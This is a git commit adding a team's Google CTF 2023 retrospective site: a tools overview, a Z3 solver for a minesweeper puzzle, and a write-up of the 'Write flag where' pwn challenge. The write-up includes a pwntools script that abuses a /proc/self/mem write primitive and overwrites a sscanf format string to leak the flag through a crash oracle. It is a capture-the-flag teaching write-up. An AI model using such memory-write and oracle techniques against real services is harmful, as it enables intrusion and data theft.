Pārlūkot izejas kodu

first two pages

Marcelo Fornet 1 gadu atpakaļ
revīzija
bf5d85a12a

+ 1 - 0
.gitignore

@@ -0,0 +1 @@
+.vscode/

BIN
docs/images/mine-the-gap.png


BIN
docs/images/where-1-rodata.png


BIN
docs/images/where-1-text-address.png


BIN
docs/images/where-1.png


+ 119 - 0
docs/index.md

@@ -0,0 +1,119 @@
+# gCTF 2023 | LATIZA
+
+This document contains some notes about how we solved some of the problems. The idea is to write the process to get to the solution rather than describing them. The hardest part for beginners is going from 0 to 1. The main goal is that everyone from the team can be on the same page about the resources and tools used.
+
+The source code of this document is in [this repository](https://git.o-for.net/marx/gctf-2023-retro).
+
+## tools
+
+Main tools used during the competition.
+
+**nc**
+
+[netcat](https://en.wikipedia.org/wiki/Netcat) command is available in Unix. Used to connect to remote services. In this case, several challenges are hosted in a server, and you should interact with the server to get the flag.
+
+    nc wfw1.2023.ctfcompetition.com 1337
+
+**pwntools**
+
+[pwntools](https://github.com/Gallopsled/pwntools#readme) is a python library with several useful primitives for CTFs. In particular, we used it as a programmatic replacement for `nc`.
+
+    from pwn import *
+
+    r = remote('wfw1.2023.ctfcompetition.com', 1337)
+    r.sendline('hello')
+    r.recvline()
+
+This way, it is easier to automatize the interaction with the server.
+
+**Decompiler**
+
+[Ghidra](https://github.com/NationalSecurityAgency/ghidra) Great tool to decompile binaries. You get some pseudo-C code. Pictures of some problems.
+
+I've read in the general gctf discord about some alternatives that I haven't tried:
+- [Radare2](https://rada.re/n/)
+- [IDA](https://hex-rays.com/ida-pro/) This one seems very good but is not free.
+- [Binary Ninja](https://binary.ninja/)
+
+**Debugger**
+
+[dbg](https://www.sourceware.org/gdb/)
+  - [pwndbg](https://github.com/pwndbg/pwndbg) `is a GDB plug-in that makes debugging with GDB suck less` This one works great.
+
+**Solver**
+
+- [Z3](https://github.com/Z3Prover/z3) is a powerful theorem prover. You can think about it like an SAT solver on steroids.
+- What was the other alternative mentioned by @alex for C++ symbolic execution?
+
+**Other UNIX tools**
+
+- readelf
+- strings
+- ???
+
+**Hex editor**
+
+Edit binary files with hex editors. I have used [Hex Editor](https://marketplace.visualstudio.com/items?itemName=ms-vscode.hexeditor) extension from VSCode.
+
+## misc
+
+Everything that doesn't fit in the other categories.
+
+- [MIND THE GAP](mind-the-gap.md)
+- NPC
+- PAPAPAPA
+- SYMATRIX
+- TOTALLY NOT BRUTE FORCE
+
+## crypto
+
+Usually, it is easy to understand the goal by inspecting the given code. The problem is generally about cracking some insecure crypto primitive involving "heavy" math.
+
+- CURSVED
+- LEAST COMMON GENOMINATOR
+- MHK2
+- MYTLS
+- PRIMES
+- ZIP
+
+## pwn
+
+You are given an application (usually in a stand-alone binary or a binary running in a server) with some "clear" functionality containing a not-so-clear vulnerability. In this case, the goal is to exploit the vulnerability to make the app do something unintended. Some common vulnerabilities are gaining shell access or reading a file you are not supposed to read.
+
+- GRADEBOOK
+- KCONCAT
+- STORYGEN
+- UBF
+- WATTHEWASM
+- [WRITE-FLAG-WHERE](write-flag-where.md)
+
+## reversing
+
+You are given an application (usually in a stand-alone binary or a binary running in a server) with an obscure functionality. The first part of the goal is trying to figure out what the application is doing by inspecting the code.
+
+- AUXIN
+- FLANGTON
+- JXL
+- OLDSCHOOL
+- PNG2
+- TURTLE
+- ZERMATT
+
+## web
+
+You are given a web application with some functionality. The goal is to exploit some vulnerability in the web application to get the flag. This is where you will find the most common vulnerabilities, like SQL injection, XSS, etc.
+
+- BIOHAZARD
+- NOTENINJA
+- POSTVIEWER V2
+- UNDER-CONSTRUCTION
+- VEGGIE SODA
+
+## sandbox
+
+You are given a sandboxed environment where you can run some code. The goal is to exploit some vulnerability in the sandbox to get the flag.
+
+- FASTBOX
+- GVISOR
+- LIGHTBOX
+- V8BOX

+ 113 - 0
docs/mind-the-gap.md

@@ -0,0 +1,113 @@
+# Mind the gap
+
+You are given a script `minesweeper.py` and text file `gameboard.txt`. Invoking the python script requires `pygame` to be installed.
+
+    pip install pygame
+
+It takes several seconds to load. After loading we get a minesweeper game
+
+![minesweeper](images/mine-the-gap.png)
+
+Inspect the script and search for CTF / FLAG etc.
+
+We see this part of the code
+
+```python
+    if len(violations) == 0:
+        bits = []
+        for x in range(GRID_WIDTH):
+            bit = 1 if validate_grid[23][x].state in [10, 11] else 0
+            bits.append(bit)
+        flag = hashlib.sha256(bytes(bits)).hexdigest()
+        print(f'Flag: CTF{{{flag}}}')
+
+    else:
+        print(violations)
+```
+
+Basically we need to solve it, and the we will be able to reconstruct the flag from the solution.
+
+Inspect `gameboard.txt` -- it looks like the board in a simple text format.
+
+The board seems very structured. It looks like putting one mine will collapse a lot of other cells, but not all.
+
+```bash
+❯ wc gameboard.txt
+    1631  198991 5876831 gameboard.txt
+```
+
+The board is 1600 x 3600 cels. It is huge. It is not possible to solve it by hand.
+
+We need to solve the board with code.
+
+Idea 1 use backtracking, and pray to be fast enough.
+
+Idea 2 skip backtracking and use SAT solver (Z3). This is what we did.
+
+With Z3 we can create variables and create constraints on the values they can get, then ask for a solution. If there is a solution, Z3 will give us the values for the variables. Z3 will find a solution in a reasonable™️ time.
+
+Check the code to generate the solution. With the solution we can easily generate the flag by using the code from the game.
+
+```python
+import z3
+
+with open('gameboard.txt') as f:
+    data = f.read().split('\n')
+
+
+rows = len(data)
+cols = len(data[0])
+print(rows, cols, flush=True)
+
+solver = z3.Solver()
+
+vars = {}
+
+def get_var(i, j):
+    assert data[i][j] == '9'
+    if (i, j) not in vars:
+        vars[i, j] = z3.Int(f'var_{i}_{j}')
+        solver.add(0 <= vars[i, j])
+        solver.add(vars[i, j] <= 1)
+    return vars[i, j]
+
+
+for i in range(rows):
+    for j in range(cols):
+        if data[i][j] in '12345678':
+            flags_on = 0
+            pending = []
+
+            for dx in [-1, 0, 1]:
+                for dy in [-1, 0, 1]:
+                    if dx == 0 and dy == 0:
+                        continue
+
+                    nx = i + dx
+                    ny = j + dy
+
+                    if 0 <= nx < rows and 0 <= ny < cols:
+                        if data[nx][ny] == 'B':
+                            flags_on += 1
+                        elif data[nx][ny] == '9':
+                            pending.append(get_var(nx, ny))
+
+            if not pending:
+                continue
+
+            solver.add(z3.Sum(pending) + flags_on == int(data[i][j]))
+
+print(len(vars))
+
+for i in range(rows):
+    for j in range(cols):
+        if data[i][j] == '9':
+            assert (i, j) in vars
+
+print("Solving...")
+print(solver.check())
+
+for (i, j), v in vars.items():
+    if solver.model()[v] == 1:
+        print(i, j)
+```

+ 284 - 0
docs/write-flag-where.md

@@ -0,0 +1,284 @@
+# WRITE FLAG WHERE
+
+This challenges had three parts with increasing difficulty. During competition we solved up to part 2. The solution to part 2 uses a very nice trick that was not the intended solution.
+
+## Part 1
+
+In this problem you are given a binary `chal` with a library `libc.so.6`.
+
+    ❯ file chal
+    chal: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=325b22ba12d76ae327d8eb123e929cece1743e1e, for GNU/Linux 3.2.0, not stripped
+
+    ❯ file libc.so.6
+    libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=69389d485a9793dbe873f0ea2c93e02efaa9aa3d, for GNU/Linux 3.2.0, stripped
+
+Ok, this is an ELF binary, dynamically linked, we can run it on Linux.
+
+We are also given a server we can connect to:
+
+    nc wfw1.2023.ctfcompetition.com 1337
+
+    This challenge is not a classical pwn
+    In order to solve it will take skills of your own
+    An excellent primitive you get for free
+    Choose an address and I will write what I see
+    But the author is cursed or perhaps it's just out of spite
+    For the flag that you seek is the thing you will write
+    ASLR isn't the challenge so I'll tell you what
+    I'll give you my mappings so that you'll have a shot.
+    5626cbcd7000-5626cbcd8000 r--p 00000000 00:11e 810424                    /home/user/chal
+    5626cbcd8000-5626cbcd9000 r-xp 00001000 00:11e 810424                    /home/user/chal
+    5626cbcd9000-5626cbcda000 r--p 00002000 00:11e 810424                    /home/user/chal
+    5626cbcda000-5626cbcdb000 r--p 00002000 00:11e 810424                    /home/user/chal
+    5626cbcdb000-5626cbcdc000 rw-p 00003000 00:11e 810424                    /home/user/chal
+    5626cbcdc000-5626cbcdd000 rw-p 00000000 00:00 0
+    7f4d9e838000-7f4d9e83b000 rw-p 00000000 00:00 0
+    7f4d9e83b000-7f4d9e863000 r--p 00000000 00:11e 811203                    /usr/lib/x86_64-linux-gnu/libc.so.6
+    7f4d9e863000-7f4d9e9f8000 r-xp 00028000 00:11e 811203                    /usr/lib/x86_64-linux-gnu/libc.so.6
+    7f4d9e9f8000-7f4d9ea50000 r--p 001bd000 00:11e 811203                    /usr/lib/x86_64-linux-gnu/libc.so.6
+    7f4d9ea50000-7f4d9ea54000 r--p 00214000 00:11e 811203                    /usr/lib/x86_64-linux-gnu/libc.so.6
+    7f4d9ea54000-7f4d9ea56000 rw-p 00218000 00:11e 811203                    /usr/lib/x86_64-linux-gnu/libc.so.6
+    7f4d9ea56000-7f4d9ea63000 rw-p 00000000 00:00 0
+    7f4d9ea65000-7f4d9ea67000 rw-p 00000000 00:00 0
+    7f4d9ea67000-7f4d9ea69000 r--p 00000000 00:11e 811185                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
+    7f4d9ea69000-7f4d9ea93000 r-xp 00002000 00:11e 811185                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
+    7f4d9ea93000-7f4d9ea9e000 r--p 0002c000 00:11e 811185                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
+    7f4d9ea9f000-7f4d9eaa1000 r--p 00037000 00:11e 811185                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
+    7f4d9eaa1000-7f4d9eaa3000 rw-p 00039000 00:11e 811185                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
+    7ffe76706000-7ffe76727000 rw-p 00000000 00:00 0                          [stack]
+    7ffe767e9000-7ffe767ed000 r--p 00000000 00:00 0                          [vvar]
+    7ffe767ed000-7ffe767ef000 r-xp 00000000 00:00 0                          [vdso]
+    ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]
+
+
+    Give me an address and a length just so:
+    <address> <length>
+    And I'll write it wherever you want it to go.
+    If an exit is all that you desire
+    Send me nothing and I will happily expire
+
+Nice poem, it probably describes the functionality. In hindsight is obvious that it exactly describes its functionality (let's get there in a moment).
+
+We tried interacting with the server. After few attempts we figured out that passing something like they said (`<address> <length>`) where `address` is a hexadecimal string starting with `0x` would work (i.e the server wouldn't immediately close).
+
+Let's see inside the binary with Ghidra:
+
+![](images/where-1.png)
+
+It takes some time to parse the code, and we see some weird artifacts like `undefined8` but other than that is pretty readable C code (like as much as you can expect from a decompiler and C code combination).
+
+In particular we see they are loading the flag from `flags.txt`, that is something that exist on the server, and its content is what we are looking for.
+
+The flag is read to `flag` variable in this code.
+
+The last part of the code seems interesting:
+
+```c
+sVar2 = read(local_14,&local_78,0x40);
+local_1c = (undefined4)sVar2;
+iVar1 = __isoc99_sscanf(&local_78,"0x%llx %u",&local_28,&local_2c);
+if ((iVar1 != 2) || (0x7f < local_2c)) break;
+local_20 = open("/proc/self/mem",2);
+lseek64(local_20,local_28,0);
+write(local_20,flag,(ulong)local_2c);
+close(local_20);
+```
+
+Tip: In Ghidra you can rename variables or functions to make the code more readable. I haven't found a way to collapse blocks of code, that would be nice.
+
+Line by line what is happening:
+
+- Read 0x40 (4 * 16 = 64) bytes from `local_14` file descriptor (i.e potentially stdin) to `local_78` buffer.
+- ...
+- Parse this string as 0x%llx %u (i.e. 0x followed by hexadecimal number followed by a space and a decimal number). Store those numbers in `local_28` and `local_2c`.
+- break if the amount of parsed elements is different from 2, or local2c is greater than 0x7f (127).
+- Open `/proc/self/mem` (i.e. the memory of the current process) in write mode. O_O this seems dangerous.
+- Seek to `local_28` (i.e. the address we passed to the server).
+- Write the flag to the address we passed, with length `local_2c`.
+- Close the file descriptor.
+
+
+Ok, this is great. We can write the flag to any address we want.
+
+We need to write it to some place where it will be printed.
+
+There is a loop, and the loop starts printing some instructions: `Give me an address and a length just so:...`
+
+Let's try to write the flag there. How?
+
+Double clicking the text in Ghidra will show exactly where it is in the binary:
+
+![](images/where-1-text-address.png)
+
+Now this address is relative to the binary, but we need to find where it is in memory. We do know that this text is stored in the `.rodata` section, and this section is mapped to an specific address in memory.
+
+![](images/where-1-rodata.png)
+
+Fortunately we are given another hint:
+
+    ASLR isn't the challenge so I'll tell you what
+    I'll give you my mappings so that you'll have a shot.
+
+And they actually provide the mappings of the running binary in real time:
+This is the code that does that:
+
+```c
+    local_c = open("/proc/self/maps",0);
+    read(local_c,maps,0x1000);
+    close(local_c);
+    // ...
+    dprintf(local_14,"%s\n\n",maps);
+```
+
+The first five sections are the ones about the binary itself:
+
+    5626cbcd7000-5626cbcd8000 r--p 00000000 00:11e 810424                    /home/user/chal
+    5626cbcd8000-5626cbcd9000 r-xp 00001000 00:11e 810424                    /home/user/chal
+    5626cbcd9000-5626cbcda000 r--p 00002000 00:11e 810424                    /home/user/chal
+    5626cbcda000-5626cbcdb000 r--p 00002000 00:11e 810424                    /home/user/chal
+    5626cbcdb000-5626cbcdc000 rw-p 00003000 00:11e 810424                    /home/user/chal
+
+The second column will show the mode of the section `w` means you can write, `x` means you can execute.
+
+With some trial and error we found that the third section was the one with `.rodata`
+
+With basic arithmetic we computed where was the address with respect to the beginning of `.rodata`, and given we know the actual beginning of `.rodata` from the printed mappings, we knew where was the string address in memory. We wrote the flag there, and we got the flag in the next iteration of the loop.
+
+## Part 2
+
+Second challenge looks pretty much the same, but right now there is no string in the loop. We can't use the solution to the previous part.
+
+There are still few strings where we can write the flag to.
+
+We can overwrite the code itself, yikes.
+
+We got some time analyzing this problem and we found out something new & problematic:
+
+```c
+local_14 = dup2(1,0x39);
+local_18 = open("/dev/null",2);
+dup2(local_18,0);
+dup2(local_18,1);
+dup2(local_18,2);
+close(local_18);
+alarm(0x3c);
+```
+
+[`dup2`](https://man7.org/linux/man-pages/man2/dup2.2.html) copies a file descriptor into another.
+`0` is stdin, `1` is stdout, `2` is stderr.
+
+Line by line:
+
+- Copy stdout to file descriptor 0x39 (57).
+- Open `/dev/null` in write mode.
+- Copy `/dev/null` to stdin.
+- Copy `/dev/null` to stdout.
+- Copy `/dev/null` to stderr.
+- ...
+- Set an alarm to 0x3c (60) seconds.
+
+So all usual way to talk about file descriptors are removed, and if we want to print to stdout we must print to 0x39.
+
+In this challenge we can write a prefix of the flag into any location, in particular it can be a prefix of size 1.
+
+We can write a prefix of the flag onto itself but shifted to the left, this way in the next iteration rather than writing the flag to some address, we will be writing the beginning of the string that starts at the flag address which is potentially a suffix of the flag.
+
+That means we can write any substring / character of the flag anywhere.
+
+... time passed
+
+One promising but unsuccessful idea was trying to jump to a different place in the code by writing some character of the flag. It turned out the expected solution was along this line, but we never made it work.
+
+We tried making the application crash / close / or even trying to exploit the alarm. I.e we needed to leak information from any mean possible.
+
+In this part, we didn't get any feedback from the server, i.e nothing was printed, the only feedback was either processing our input and do nothing, or closing if the input was invalid.
+
+Wait, that is some information... if the input was invalid it would close and we would get that information. How to use that to leak the flag.
+
+We need to make the input fail/succeed depending on parts of the flag.
+
+We had access to the pattern of `sscanf` that we can modify, and that is exactly what we did.
+
+We can overwrite the character `0` from the `sscanf` pattern with one character from the flag. Then we send a new input, with some character, and if the application doesn't exit, we guessed correctly that character.
+
+This way we can guess character one by one, on each step by iterating over all possible characters of the flag.
+The final script was actually quite slow, but did the job (partially). This is the script:
+
+```python
+import string
+from pwn import *
+import time
+
+flag_length = 40
+
+def is_nth_char(index, ch, heap_delta=0xa0):
+
+    context.log_level = 'error'
+
+    conn = remote('wfw2.2023.ctfcompetition.com', 1337)
+    lines = conn.recvlines(timeout=1)
+
+    # parse addresses
+    print(len(lines))
+
+    _rodata = lines[5]
+    _heap = lines[8]
+
+    _rodata_address = int(_rodata.decode().split('-')[0], 16)
+    _heap_address = int(_heap.decode().split('-')[0], 16)
+
+    # print('.rodata : ', hex(_rodata_address))
+    # print('.heap : ', hex(_heap_address))
+
+    flag_address = _heap_address + heap_delta
+
+    format_str_offset = 188
+    format_str_address = _rodata_address + format_str_offset
+
+    # flag = flag[index:]
+
+    # TODO uncomment
+    conn.send(f'{hex(flag_address - index)} {flag_length}\n'.encode())
+
+    # '0x%llx' -> {flag[index]}'x%llx'
+    conn.send(f'{hex(format_str_address)} 1\n'.encode())
+
+    # # check conn is alive
+    # try:
+    #     conn.recv()
+    # except EOFError:
+    #     assert False
+
+    for i in range(5):
+        try:
+            conn.send(f'{ch}x123 1\n'.encode()) # test only is sscanf fails or not
+            sleep(0.2)
+        except EOFError:
+            return False
+
+    return True
+
+partial_flag = list('CTF{') + ['*'] * flag_length
+
+for i in range(4, flag_length):
+
+    if partial_flag[i] != '*':
+        assert is_nth_char(i, partial_flag[i])
+        continue
+
+    for ch in string.ascii_lowercase + string.ascii_uppercase + string.digits + '_':
+        if is_nth_char(i, ch):
+            print("Success:", i, ch)
+            partial_flag[i] = ch
+            break
+        else:
+            print("Failure:", i, ch)
+
+        print("Flag: ", ''.join(partial_flag))
+
+    print("Flag: ", ''.join(partial_flag))
+```
+
+The hardest / more fragile part of the script was trying to detect if the connection was over or not.
+
+This predicted all the flag but the last character, since it was not in the set of candidates we were trying. That was guessed manually.

+ 8 - 0
mkdocs.yml

@@ -0,0 +1,8 @@
+site_name: Google CTF 2023 | Retrospective
+site_url: http://127.0.0.1
+nav:
+    - Home: index.md
+    - misc:
+          - Mind the gap: mind-the-gap.md
+    - pwn:
+          - Write flag where: write-flag-where.md